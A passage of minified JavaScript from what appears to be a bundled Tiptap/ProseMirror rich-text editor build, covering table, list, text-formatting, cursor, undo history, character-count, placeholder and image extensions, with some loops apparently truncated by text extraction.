tableHeader)*",tableRole:"row",parseHTML(){return[{tag:"tr"}]},renderHTML({HTMLAttributes:t}){return["tr",St(this.options.HTMLAttributes,t),0]}});function Cx(t,e){return e?["width",`${Math.max(e,t)}px`]:["min-width",`${t}px`]}function sw(t,e,n,r,a,i){var o;let c=0,u=!0,h=e.firstChild;const f=t.firstChild;if(f!==null)for(let g=0,y=0;g{const r=t.nodes[n];r.spec.tableRole&&(e[r.spec.tableRole]=r)}),t.cached.tableNodeTypes=e,e}function B$(t,e,n,r,a){const i=F$(t),o=[],c=[];for(let h=0;h{const{selection:e}=t.state;if(!V$(e))return!1;let n=0;const r=w2(e.ranges[0].$from,i=>i.type.name==="table");return r==null||r.node.descendants(i=>{if(i.type.name==="table")return!1;["tableCell","tableHeader"].includes(i.type.name)&&(n+=1)}),n===e.ranges.length?(t.commands.deleteTable(),!0):!1},H$="";function W$(t){return(t||"").replace(/\s+/g," ").trim()}function U$(t,e,n={}){var r;const a=(r=n.cellLineSeparator)!=null?r:H$;if(!t||!t.content||t.content.length===0)return"";const i=[];t.content.forEach(N=>{const w=[];N.content&&N.content.forEach(v=>{let k="";v.content&&Array.isArray(v.content)&&v.content.length>1?k=v.content.map(I=>e.renderChildren(I)).join(a):k=v.content?e.renderChildren(v.content):"";const C=W$(k),E=v.type==="tableHeader";w.push({text:C,isHeader:E})}),i.push(w)});const o=i.reduce((N,w)=>Math.max(N,w.length),0);if(o===0)return"";const c=new Array(o).fill(0);i.forEach(N=>{var w;for(let v=0;vc[v]&&(c[v]=C),c[v]<3&&(c[v]=3)}});const u=(N,w)=>N+" ".repeat(Math.max(0,w-N.length)),h=i[0],f=h.some(N=>N.isHeader);let m=` +`):"",markdownTokenizer:{name:"taskList",level:"block",start(t){var e;const n=(e=t.match(/^\s*[-+*]\s+\[([ xX])\]\s+/))==null?void 0:e.index;return n!==void 0?n:-1},tokenize(t,e,n){const r=i=>{const o=cx(i,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:c=>({indentLevel:c[1].length,mainContent:c[4],checked:c[3].toLowerCase()==="x"}),createToken:(c,u)=>({type:"taskItem",raw:"",mainContent:c.mainContent,indentLevel:c.indentLevel,checked:c.checked,text:c.mainContent,tokens:n.inlineTokens(c.mainContent),nestedTokens:u}),customNestedParser:r},n);return o?[{type:"taskList",raw:o.raw,items:o.items}]:n.blockTokens(i)},a=cx(t,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:i=>({indentLevel:i[1].length,mainContent:i[4],checked:i[3].toLowerCase()==="x"}),createToken:(i,o)=>({type:"taskItem",raw:"",mainContent:i.mainContent,indentLevel:i.indentLevel,checked:i.checked,text:i.mainContent,tokens:n.inlineTokens(i.mainContent),nestedTokens:o}),customNestedParser:r},n);if(a)return{type:"taskList",raw:a.raw,items:a.items}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleTaskList:()=>({commands:t})=>t.toggleList(this.name,this.options.itemTypeName)}},addKeyboardShortcuts(){return{"Mod-Shift-9":()=>this.editor.commands.toggleTaskList()}}});mn.create({name:"listKit",addExtensions(){const t=[];return this.options.bulletList!==!1&&t.push(uC.configure(this.options.bulletList)),this.options.listItem!==!1&&t.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&t.push(yC.configure(this.options.listKeymap)),this.options.orderedList!==!1&&t.push(vC.configure(this.options.orderedList)),this.options.taskItem!==!1&&t.push(Y7.configure(this.options.taskItem)),this.options.taskList!==!1&&t.push(Q7.configure(this.options.taskList)),t}});var FN=" ",X7=" ",Z7=Cn.create({name:"paragraph",priority:1e3,addOptions(){return{HTMLAttributes:{}}},group:"block",content:"inline*",parseHTML(){return[{tag:"p"}]},renderHTML({HTMLAttributes:t}){return["p",St(this.options.HTMLAttributes,t),0]},parseMarkdown:(t,e)=>{const n=t.tokens||[];if(n.length===1&&n[0].type==="image")return e.parseChildren([n[0]]);const r=e.parseInline(n);return r.length===1&&r[0].type==="text"&&(r[0].text===FN||r[0].text===X7)?e.createNode("paragraph",void 0,[]):e.createNode("paragraph",void 0,r)},renderMarkdown:(t,e)=>{if(!t)return"";const n=Array.isArray(t.content)?t.content:[];return n.length===0?FN:e.renderChildren(n)},addCommands(){return{setParagraph:()=>({commands:t})=>t.setNode(this.name)}},addKeyboardShortcuts(){return{"Mod-Alt-0":()=>this.editor.commands.setParagraph()}}}),ez=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))$/,tz=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))/g,nz=Ao.create({name:"strike",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"s"},{tag:"del"},{tag:"strike"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("line-through")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["s",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"del",parseMarkdown:(t,e)=>e.applyMark("strike",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`~~${e.renderChildren(t)}~~`,addCommands(){return{setStrike:()=>({commands:t})=>t.setMark(this.name),toggleStrike:()=>({commands:t})=>t.toggleMark(this.name),unsetStrike:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-s":()=>this.editor.commands.toggleStrike()}},addInputRules(){return[Ml({find:ez,type:this.type})]},addPasteRules(){return[jo({find:tz,type:this.type})]}}),rz=Cn.create({name:"text",group:"inline",parseMarkdown:t=>({type:"text",text:t.text||""}),renderMarkdown:t=>t.text||""}),sz=Ao.create({name:"underline",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"u"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("underline")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["u",St(this.options.HTMLAttributes,t),0]},parseMarkdown(t,e){return e.applyMark(this.name||"underline",e.parseInline(t.tokens||[]))},renderMarkdown(t,e){return`++${e.renderChildren(t)}++`},markdownTokenizer:{name:"underline",level:"inline",start(t){return t.indexOf("++")},tokenize(t,e,n){const a=/^(\+\+)([\s\S]+?)(\+\+)/.exec(t);if(!a)return;const i=a[2].trim();return{type:"underline",raw:a[0],text:i,tokens:n.inlineTokens(i)}}},addCommands(){return{setUnderline:()=>({commands:t})=>t.setMark(this.name),toggleUnderline:()=>({commands:t})=>t.toggleMark(this.name),unsetUnderline:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-u":()=>this.editor.commands.toggleUnderline(),"Mod-U":()=>this.editor.commands.toggleUnderline()}}});function az(t={}){return new Kt({view(e){return new iz(e,t)}})}class iz{constructor(e,n){var r;this.editorView=e,this.cursorPos=null,this.element=null,this.timeout=-1,this.width=(r=n.width)!==null&&r!==void 0?r:1,this.color=n.color===!1?void 0:n.color||"black",this.class=n.class,this.handlers=["dragover","dragend","drop","dragleave"].map(a=>{let i=o=>{this[a](o)};return e.dom.addEventListener(a,i),{name:a,handler:i}})}destroy(){this.handlers.forEach(({name:e,handler:n})=>this.editorView.dom.removeEventListener(e,n))}update(e,n){this.cursorPos!=null&&n.doc!=e.state.doc&&(this.cursorPos>e.state.doc.content.size?this.setCursor(null):this.updateOverlay())}setCursor(e){e!=this.cursorPos&&(this.cursorPos=e,e==null?(this.element.parentNode.removeChild(this.element),this.element=null):this.updateOverlay())}updateOverlay(){let e=this.editorView.state.doc.resolve(this.cursorPos),n=!e.parent.inlineContent,r,a=this.editorView.dom,i=a.getBoundingClientRect(),o=i.width/a.offsetWidth,c=i.height/a.offsetHeight;if(n){let m=e.nodeBefore,g=e.nodeAfter;if(m||g){let y=this.editorView.nodeDOM(this.cursorPos-(m?m.nodeSize:0));if(y){let N=y.getBoundingClientRect(),w=m?N.bottom:N.top;m&&g&&(w=(w+this.editorView.nodeDOM(this.cursorPos).getBoundingClientRect().top)/2);let v=this.width/2*c;r={left:N.left,right:N.right,top:w-v,bottom:w+v}}}}if(!r){let m=this.editorView.coordsAtPos(this.cursorPos),g=this.width/2*o;r={left:m.left-g,right:m.left+g,top:m.top,bottom:m.bottom}}let u=this.editorView.dom.offsetParent;this.element||(this.element=u.appendChild(document.createElement("div")),this.class&&(this.element.className=this.class),this.element.style.cssText="position: absolute; z-index: 50; pointer-events: none;",this.color&&(this.element.style.backgroundColor=this.color)),this.element.classList.toggle("prosemirror-dropcursor-block",n),this.element.classList.toggle("prosemirror-dropcursor-inline",!n);let h,f;if(!u||u==document.body&&getComputedStyle(u).position=="static")h=-pageXOffset,f=-pageYOffset;else{let m=u.getBoundingClientRect(),g=m.width/u.offsetWidth,y=m.height/u.offsetHeight;h=m.left-u.scrollLeft*g,f=m.top-u.scrollTop*y}this.element.style.left=(r.left-h)/o+"px",this.element.style.top=(r.top-f)/c+"px",this.element.style.width=(r.right-r.left)/o+"px",this.element.style.height=(r.bottom-r.top)/c+"px"}scheduleRemoval(e){clearTimeout(this.timeout),this.timeout=setTimeout(()=>this.setCursor(null),e)}dragover(e){if(!this.editorView.editable)return;let n=this.editorView.posAtCoords({left:e.clientX,top:e.clientY}),r=n&&n.inside>=0&&this.editorView.state.doc.nodeAt(n.inside),a=r&&r.type.spec.disableDropCursor,i=typeof a=="function"?a(this.editorView,n,e):a;if(n&&!i){let o=n.pos;if(this.editorView.dragging&&this.editorView.dragging.slice){let c=fS(this.editorView.state.doc,o,this.editorView.dragging.slice);c!=null&&(o=c)}this.setCursor(o),this.scheduleRemoval(5e3)}}dragend(){this.scheduleRemoval(20)}drop(){this.scheduleRemoval(20)}dragleave(e){this.editorView.dom.contains(e.relatedTarget)||this.setCursor(null)}}class fn extends rt{constructor(e){super(e,e)}map(e,n){let r=e.resolve(n.map(this.head));return fn.valid(r)?new fn(r):rt.near(r)}content(){return Ie.empty}eq(e){return e instanceof fn&&e.head==this.head}toJSON(){return{type:"gapcursor",pos:this.head}}static fromJSON(e,n){if(typeof n.pos!="number")throw new RangeError("Invalid input for GapCursor.fromJSON");return new fn(e.resolve(n.pos))}getBookmark(){return new K0(this.anchor)}static valid(e){let n=e.parent;if(n.isTextblock||!oz(e)||!lz(e))return!1;let r=n.type.spec.allowGapCursor;if(r!=null)return r;let a=n.contentMatchAt(e.index()).defaultType;return a&&a.isTextblock}static findGapCursorFrom(e,n,r=!1){e:for(;;){if(!r&&fn.valid(e))return e;let a=e.pos,i=null;for(let o=e.depth;;o--){let c=e.node(o);if(n>0?e.indexAfter(o)0){i=c.child(n>0?e.indexAfter(o):e.index(o)-1);break}else if(o==0)return null;a+=n;let u=e.doc.resolve(a);if(fn.valid(u))return u}for(;;){let o=n>0?i.firstChild:i.lastChild;if(!o){if(i.isAtom&&!i.isText&&!Xe.isSelectable(i)){e=e.doc.resolve(a+i.nodeSize*n),r=!1;continue e}break}i=o,a+=n;let c=e.doc.resolve(a);if(fn.valid(c))return c}return null}}}fn.prototype.visible=!1;fn.findFrom=fn.findGapCursorFrom;rt.jsonID("gapcursor",fn);class K0{constructor(e){this.pos=e}map(e){return new K0(e.map(this.pos))}resolve(e){let n=e.resolve(this.pos);return fn.valid(n)?new fn(n):rt.near(n)}}function NC(t){return t.isAtom||t.spec.isolating||t.spec.createGapCursor}function oz(t){for(let e=t.depth;e>=0;e--){let n=t.index(e),r=t.node(e);if(n==0){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n-1);;a=a.lastChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function lz(t){for(let e=t.depth;e>=0;e--){let n=t.indexAfter(e),r=t.node(e);if(n==r.childCount){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n);;a=a.firstChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function cz(){return new Kt({props:{decorations:fz,createSelectionBetween(t,e,n){return e.pos==n.pos&&fn.valid(n)?new fn(n):null},handleClick:uz,handleKeyDown:dz,handleDOMEvents:{beforeinput:hz}}})}const dz=k0({ArrowLeft:Ku("horiz",-1),ArrowRight:Ku("horiz",1),ArrowUp:Ku("vert",-1),ArrowDown:Ku("vert",1)});function Ku(t,e){const n=t=="vert"?e>0?"down":"up":e>0?"right":"left";return function(r,a,i){let o=r.selection,c=e>0?o.$to:o.$from,u=o.empty;if(o instanceof Ze){if(!i.endOfTextblock(n)||c.depth==0)return!1;u=!1,c=r.doc.resolve(e>0?c.after():c.before())}let h=fn.findGapCursorFrom(c,e,u);return h?(a&&a(r.tr.setSelection(new fn(h))),!0):!1}}function uz(t,e,n){if(!t||!t.editable)return!1;let r=t.state.doc.resolve(e);if(!fn.valid(r))return!1;let a=t.posAtCoords({left:n.clientX,top:n.clientY});return a&&a.inside>-1&&Xe.isSelectable(t.state.doc.nodeAt(a.inside))?!1:(t.dispatch(t.state.tr.setSelection(new fn(r))),!0)}function hz(t,e){if(e.inputType!="insertCompositionText"||!(t.state.selection instanceof fn))return!1;let{$from:n}=t.state.selection,r=n.parent.contentMatchAt(n.index()).findWrapping(t.state.schema.nodes.text);if(!r)return!1;let a=be.empty;for(let o=r.length-1;o>=0;o--)a=be.from(r[o].createAndFill(null,a));let i=t.state.tr.replace(n.pos,n.pos,new Ie(a,0,0));return i.setSelection(Ze.near(i.doc.resolve(n.pos+1))),t.dispatch(i),!1}function fz(t){if(!(t.selection instanceof fn))return null;let e=document.createElement("div");return e.className="ProseMirror-gapcursor",$t.create(t.doc,[An.widget(t.selection.head,e,{key:"gapcursor"})])}var sf=200,Vn=function(){};Vn.prototype.append=function(e){return e.length?(e=Vn.from(e),!this.length&&e||e.length=n?Vn.empty:this.sliceInner(Math.max(0,e),Math.min(this.length,n))};Vn.prototype.get=function(e){if(!(e<0||e>=this.length))return this.getInner(e)};Vn.prototype.forEach=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length),n<=r?this.forEachInner(e,n,r,0):this.forEachInvertedInner(e,n,r,0)};Vn.prototype.map=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length);var a=[];return this.forEach(function(i,o){return a.push(e(i,o))},n,r),a};Vn.from=function(e){return e instanceof Vn?e:e&&e.length?new wC(e):Vn.empty};var wC=(function(t){function e(r){t.call(this),this.values=r}t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e;var n={length:{configurable:!0},depth:{configurable:!0}};return e.prototype.flatten=function(){return this.values},e.prototype.sliceInner=function(a,i){return a==0&&i==this.length?this:new e(this.values.slice(a,i))},e.prototype.getInner=function(a){return this.values[a]},e.prototype.forEachInner=function(a,i,o,c){for(var u=i;u=o;u--)if(a(this.values[u],c+u)===!1)return!1},e.prototype.leafAppend=function(a){if(this.length+a.length<=sf)return new e(this.values.concat(a.flatten()))},e.prototype.leafPrepend=function(a){if(this.length+a.length<=sf)return new e(a.flatten().concat(this.values))},n.length.get=function(){return this.values.length},n.depth.get=function(){return 0},Object.defineProperties(e.prototype,n),e})(Vn);Vn.empty=new wC([]);var pz=(function(t){function e(n,r){t.call(this),this.left=n,this.right=r,this.length=n.length+r.length,this.depth=Math.max(n.depth,r.depth)+1}return t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e,e.prototype.flatten=function(){return this.left.flatten().concat(this.right.flatten())},e.prototype.getInner=function(r){return rc&&this.right.forEachInner(r,Math.max(a-c,0),Math.min(this.length,i)-c,o+c)===!1)return!1},e.prototype.forEachInvertedInner=function(r,a,i,o){var c=this.left.length;if(a>c&&this.right.forEachInvertedInner(r,a-c,Math.max(i,c)-c,o+c)===!1||i=i?this.right.slice(r-i,a-i):this.left.slice(r,i).append(this.right.slice(0,a-i))},e.prototype.leafAppend=function(r){var a=this.right.leafAppend(r);if(a)return new e(this.left,a)},e.prototype.leafPrepend=function(r){var a=this.left.leafPrepend(r);if(a)return new e(a,this.right)},e.prototype.appendInner=function(r){return this.left.depth>=Math.max(this.right.depth,r.depth)+1?new e(this.left,new e(this.right,r)):new e(this,r)},e})(Vn);const mz=500;class js{constructor(e,n){this.items=e,this.eventCount=n}popEvent(e,n){if(this.eventCount==0)return null;let r=this.items.length;for(;;r--)if(this.items.get(r-1).selection){--r;break}let a,i;n&&(a=this.remapping(r,this.items.length),i=a.maps.length);let o=e.tr,c,u,h=[],f=[];return this.items.forEach((m,g)=>{if(!m.step){a||(a=this.remapping(r,g+1),i=a.maps.length),i--,f.push(m);return}if(a){f.push(new Xa(m.map));let y=m.step.map(a.slice(i)),N;y&&o.maybeStep(y).doc&&(N=o.mapping.maps[o.mapping.maps.length-1],h.push(new Xa(N,void 0,void 0,h.length+f.length))),i--,N&&a.appendMap(N,i)}else o.maybeStep(m.step);if(m.selection)return c=a?m.selection.map(a.slice(i)):m.selection,u=new js(this.items.slice(0,r).append(f.reverse().concat(h)),this.eventCount-1),!1},this.items.length,0),{remaining:u,transform:o,selection:c}}addTransform(e,n,r,a){let i=[],o=this.eventCount,c=this.items,u=!a&&c.length?c.get(c.length-1):null;for(let f=0;fxz&&(c=gz(c,h),o-=h),new js(c.append(i),o)}remapping(e,n){let r=new rd;return this.items.forEach((a,i)=>{let o=a.mirrorOffset!=null&&i-a.mirrorOffset>=e?r.maps.length-a.mirrorOffset:void 0;r.appendMap(a.map,o)},e,n),r}addMaps(e){return this.eventCount==0?this:new js(this.items.append(e.map(n=>new Xa(n))),this.eventCount)}rebased(e,n){if(!this.eventCount)return this;let r=[],a=Math.max(0,this.items.length-n),i=e.mapping,o=e.steps.length,c=this.eventCount;this.items.forEach(g=>{g.selection&&c--},a);let u=n;this.items.forEach(g=>{let y=i.getMirror(--u);if(y==null)return;o=Math.min(o,y);let N=i.maps[y];if(g.step){let w=e.steps[y].invert(e.docs[y]),v=g.selection&&g.selection.map(i.slice(u+1,y));v&&c++,r.push(new Xa(N,w,v))}else r.push(new Xa(N))},a);let h=[];for(let g=n;gmz&&(m=m.compress(this.items.length-r.length)),m}emptyItemCount(){let e=0;return this.items.forEach(n=>{n.step||e++}),e}compress(e=this.items.length){let n=this.remapping(0,e),r=n.maps.length,a=[],i=0;return this.items.forEach((o,c)=>{if(c>=e)a.push(o),o.selection&&i++;else if(o.step){let u=o.step.map(n.slice(r)),h=u&&u.getMap();if(r--,h&&n.appendMap(h,r),u){let f=o.selection&&o.selection.map(n.slice(r));f&&i++;let m=new Xa(h.invert(),u,f),g,y=a.length-1;(g=a.length&&a[y].merge(m))?a[y]=g:a.push(m)}}else o.map&&r--},this.items.length,0),new js(Vn.from(a.reverse()),i)}}js.empty=new js(Vn.empty,0);function gz(t,e){let n;return t.forEach((r,a)=>{if(r.selection&&e--==0)return n=a,!1}),t.slice(n)}let Xa=class jC{constructor(e,n,r,a){this.map=e,this.step=n,this.selection=r,this.mirrorOffset=a}merge(e){if(this.step&&e.step&&!e.selection){let n=e.step.merge(this.step);if(n)return new jC(n.getMap().invert(),n,this.selection)}}};class ri{constructor(e,n,r,a,i){this.done=e,this.undone=n,this.prevRanges=r,this.prevTime=a,this.prevComposition=i}}const xz=20;function yz(t,e,n,r){let a=n.getMeta(mo),i;if(a)return a.historyState;n.getMeta(Nz)&&(t=new ri(t.done,t.undone,null,0,-1));let o=n.getMeta("appendedTransaction");if(n.steps.length==0)return t;if(o&&o.getMeta(mo))return o.getMeta(mo).redo?new ri(t.done.addTransform(n,void 0,r,sh(e)),t.undone,BN(n.mapping.maps),t.prevTime,t.prevComposition):new ri(t.done,t.undone.addTransform(n,void 0,r,sh(e)),null,t.prevTime,t.prevComposition);if(n.getMeta("addToHistory")!==!1&&!(o&&o.getMeta("addToHistory")===!1)){let c=n.getMeta("composition"),u=t.prevTime==0||!o&&t.prevComposition!=c&&(t.prevTime<(n.time||0)-r.newGroupDelay||!bz(n,t.prevRanges)),h=o?gg(t.prevRanges,n.mapping):BN(n.mapping.maps);return new ri(t.done.addTransform(n,u?e.selection.getBookmark():void 0,r,sh(e)),js.empty,h,n.time,c??t.prevComposition)}else return(i=n.getMeta("rebased"))?new ri(t.done.rebased(n,i),t.undone.rebased(n,i),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition):new ri(t.done.addMaps(n.mapping.maps),t.undone.addMaps(n.mapping.maps),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition)}function bz(t,e){if(!e)return!1;if(!t.docChanged)return!0;let n=!1;return t.mapping.maps[0].forEach((r,a)=>{for(let i=0;i=e[i]&&(n=!0)}),n}function BN(t){let e=[];for(let n=t.length-1;n>=0&&e.length==0;n--)t[n].forEach((r,a,i,o)=>e.push(i,o));return e}function gg(t,e){if(!t)return null;let n=[];for(let r=0;r{let a=mo.getState(n);if(!a||(t?a.undone:a.done).eventCount==0)return!1;if(r){let i=vz(a,n,t);i&&r(e?i.scrollIntoView():i)}return!0}}const SC=kC(!1,!0),CC=kC(!0,!0);mn.create({name:"characterCount",addOptions(){return{limit:null,mode:"textSize",textCounter:t=>t.length,wordCounter:t=>t.split(" ").filter(e=>e!=="").length}},addStorage(){return{characters:()=>0,words:()=>0}},onBeforeCreate(){this.storage.characters=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc;if(((t==null?void 0:t.mode)||this.options.mode)==="textSize"){const r=e.textBetween(0,e.content.size,void 0," ");return this.options.textCounter(r)}return e.nodeSize},this.storage.words=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc,n=e.textBetween(0,e.content.size," "," ");return this.options.wordCounter(n)}},addProseMirrorPlugins(){let t=!1;return[new Kt({key:new tn("characterCount"),appendTransaction:(e,n,r)=>{if(t)return;const a=this.options.limit;if(a==null||a===0){t=!0;return}const i=this.storage.characters({node:r.doc});if(i>a){const o=i-a,c=0,u=o;console.warn(`[CharacterCount] Initial content exceeded limit of ${a} characters. Content was automatically trimmed.`);const h=r.tr.deleteRange(c,u);return t=!0,h}t=!0},filterTransaction:(e,n)=>{const r=this.options.limit;if(!e.docChanged||r===0||r===null||r===void 0)return!0;const a=this.storage.characters({node:n.doc}),i=this.storage.characters({node:e.doc});if(i<=r||a>r&&i>r&&i<=a)return!0;if(a>r&&i>r&&i>a||!e.getMeta("paste"))return!1;const c=e.selection.$head.pos,u=i-r,h=c-u,f=c;return e.deleteRange(h,f),!(this.storage.characters({node:e.doc})>r)}})]}});var jz=mn.create({name:"dropCursor",addOptions(){return{color:"currentColor",width:1,class:void 0}},addProseMirrorPlugins(){return[az(this.options)]}});mn.create({name:"focus",addOptions(){return{className:"has-focus",mode:"all"}},addProseMirrorPlugins(){return[new Kt({key:new tn("focus"),props:{decorations:({doc:t,selection:e})=>{const{isEditable:n,isFocused:r}=this.editor,{anchor:a}=e,i=[];if(!n||!r)return $t.create(t,[]);let o=0;this.options.mode==="deepest"&&t.descendants((u,h)=>{if(u.isText)return;if(!(a>=h&&a<=h+u.nodeSize-1))return!1;o+=1});let c=0;return t.descendants((u,h)=>{if(u.isText||!(a>=h&&a<=h+u.nodeSize-1))return!1;if(c+=1,this.options.mode==="deepest"&&o-c>0||this.options.mode==="shallowest"&&c>1)return this.options.mode==="deepest";i.push(An.node(h,h+u.nodeSize,{class:this.options.className}))}),$t.create(t,i)}}})]}});var kz=mn.create({name:"gapCursor",addProseMirrorPlugins(){return[cz()]},extendNodeSchema(t){var e;const n={name:t.name,options:t.options,storage:t.storage};return{allowGapCursor:(e=jt(Ke(t,"allowGapCursor",n)))!=null?e:null}}}),HN="placeholder";function Sz(t){return t.replace(/\s+/g,"-").replace(/[^a-zA-Z0-9-]/g,"").replace(/^[0-9-]+/,"").replace(/^-+/,"").toLowerCase()}var Cz=mn.create({name:"placeholder",addOptions(){return{emptyEditorClass:"is-editor-empty",emptyNodeClass:"is-empty",dataAttribute:HN,placeholder:"Write something …",showOnlyWhenEditable:!0,showOnlyCurrent:!0,includeChildren:!1}},addProseMirrorPlugins(){const t=this.options.dataAttribute?`data-${Sz(this.options.dataAttribute)}`:`data-${HN}`;return[new Kt({key:new tn("placeholder"),props:{decorations:({doc:e,selection:n})=>{const r=this.editor.isEditable||!this.options.showOnlyWhenEditable,{anchor:a}=n,i=[];if(!r)return null;const o=this.editor.isEmpty;return e.descendants((c,u)=>{const h=a>=u&&a<=u+c.nodeSize,f=!c.isLeaf&&Of(c);if((h||!this.options.showOnlyCurrent)&&f){const m=[this.options.emptyNodeClass];o&&m.push(this.options.emptyEditorClass);const g=An.node(u,u+c.nodeSize,{class:m.join(" "),[t]:typeof this.options.placeholder=="function"?this.options.placeholder({editor:this.editor,node:c,pos:u,hasAnchor:h}):this.options.placeholder});i.push(g)}return this.options.includeChildren}),$t.create(e,i)}}})]}});mn.create({name:"selection",addOptions(){return{className:"selection"}},addProseMirrorPlugins(){const{editor:t,options:e}=this;return[new Kt({key:new tn("selection"),props:{decorations(n){return n.selection.empty||t.isFocused||!t.isEditable||A2(n.selection)||t.view.dragging?null:$t.create(n.doc,[An.inline(n.selection.from,n.selection.to,{class:e.className})])}}})]}});function WN({types:t,node:e}){return e&&Array.isArray(t)&&t.includes(e.type)||(e==null?void 0:e.type)===t}var Ez=mn.create({name:"trailingNode",addOptions(){return{node:void 0,notAfter:[]}},addProseMirrorPlugins(){var t;const e=new tn(this.name),n=this.options.node||((t=this.editor.schema.topNodeType.contentMatch.defaultType)==null?void 0:t.name)||"paragraph",r=Object.entries(this.editor.schema.nodes).map(([,a])=>a).filter(a=>(this.options.notAfter||[]).concat(n).includes(a.name));return[new Kt({key:e,appendTransaction:(a,i,o)=>{const{doc:c,tr:u,schema:h}=o,f=e.getState(o),m=c.content.size,g=h.nodes[n];if(f)return u.insert(m,g.create())},state:{init:(a,i)=>{const o=i.tr.doc.lastChild;return!WN({node:o,types:r})},apply:(a,i)=>{if(!a.docChanged||a.getMeta("__uniqueIDTransaction"))return i;const o=a.doc.lastChild;return!WN({node:o,types:r})}}})]}}),Tz=mn.create({name:"undoRedo",addOptions(){return{depth:100,newGroupDelay:500}},addCommands(){return{undo:()=>({state:t,dispatch:e})=>SC(t,e),redo:()=>({state:t,dispatch:e})=>CC(t,e)}},addProseMirrorPlugins(){return[wz(this.options)]},addKeyboardShortcuts(){return{"Mod-z":()=>this.editor.commands.undo(),"Shift-Mod-z":()=>this.editor.commands.redo(),"Mod-y":()=>this.editor.commands.redo(),"Mod-я":()=>this.editor.commands.undo(),"Shift-Mod-я":()=>this.editor.commands.redo()}}}),Mz=mn.create({name:"starterKit",addExtensions(){var t,e,n,r;const a=[];return this.options.bold!==!1&&a.push(Z_.configure(this.options.bold)),this.options.blockquote!==!1&&a.push(G_.configure(this.options.blockquote)),this.options.bulletList!==!1&&a.push(uC.configure(this.options.bulletList)),this.options.code!==!1&&a.push(n7.configure(this.options.code)),this.options.codeBlock!==!1&&a.push(a7.configure(this.options.codeBlock)),this.options.document!==!1&&a.push(i7.configure(this.options.document)),this.options.dropcursor!==!1&&a.push(jz.configure(this.options.dropcursor)),this.options.gapcursor!==!1&&a.push(kz.configure(this.options.gapcursor)),this.options.hardBreak!==!1&&a.push(o7.configure(this.options.hardBreak)),this.options.heading!==!1&&a.push(l7.configure(this.options.heading)),this.options.undoRedo!==!1&&a.push(Tz.configure(this.options.undoRedo)),this.options.horizontalRule!==!1&&a.push(c7.configure(this.options.horizontalRule)),this.options.italic!==!1&&a.push(p7.configure(this.options.italic)),this.options.listItem!==!1&&a.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&a.push(yC.configure((t=this.options)==null?void 0:t.listKeymap)),this.options.link!==!1&&a.push($7.configure((e=this.options)==null?void 0:e.link)),this.options.orderedList!==!1&&a.push(vC.configure(this.options.orderedList)),this.options.paragraph!==!1&&a.push(Z7.configure(this.options.paragraph)),this.options.strike!==!1&&a.push(nz.configure(this.options.strike)),this.options.text!==!1&&a.push(rz.configure(this.options.text)),this.options.underline!==!1&&a.push(sz.configure((n=this.options)==null?void 0:n.underline)),this.options.trailingNode!==!1&&a.push(Ez.configure((r=this.options)==null?void 0:r.trailingNode)),a}}),Az=Mz,Iz=/(?:^|\s)(!\[(.+|:?)]\((\S+)(?:(?:\s+)["'](\S+)["'])?\))$/,Rz=Cn.create({name:"image",addOptions(){return{inline:!1,allowBase64:!1,HTMLAttributes:{},resize:!1}},inline(){return this.options.inline},group(){return this.options.inline?"inline":"block"},draggable:!0,addAttributes(){return{src:{default:null},alt:{default:null},title:{default:null},width:{default:null},height:{default:null}}},parseHTML(){return[{tag:this.options.allowBase64?"img[src]":'img[src]:not([src^="data:"])'}]},renderHTML({HTMLAttributes:t}){return["img",St(this.options.HTMLAttributes,t)]},parseMarkdown:(t,e)=>e.createNode("image",{src:t.href,title:t.title,alt:t.text}),renderMarkdown:t=>{var e,n,r,a,i,o;const c=(n=(e=t.attrs)==null?void 0:e.src)!=null?n:"",u=(a=(r=t.attrs)==null?void 0:r.alt)!=null?a:"",h=(o=(i=t.attrs)==null?void 0:i.title)!=null?o:"";return h?`![${u}](${c} "${h}")`:`![${u}](${c})`},addNodeView(){if(!this.options.resize||!this.options.resize.enabled||typeof document>"u")return null;const{directions:t,minWidth:e,minHeight:n,alwaysPreserveAspectRatio:r}=this.options.resize;return({node:a,getPos:i,HTMLAttributes:o,editor:c})=>{const u=document.createElement("img");Object.entries(o).forEach(([m,g])=>{if(g!=null)switch(m){case"width":case"height":break;default:u.setAttribute(m,g);break}}),u.src=o.src;const h=new D6({element:u,editor:c,node:a,getPos:i,onResize:(m,g)=>{u.style.width=`${m}px`,u.style.height=`${g}px`},onCommit:(m,g)=>{const y=i();y!==void 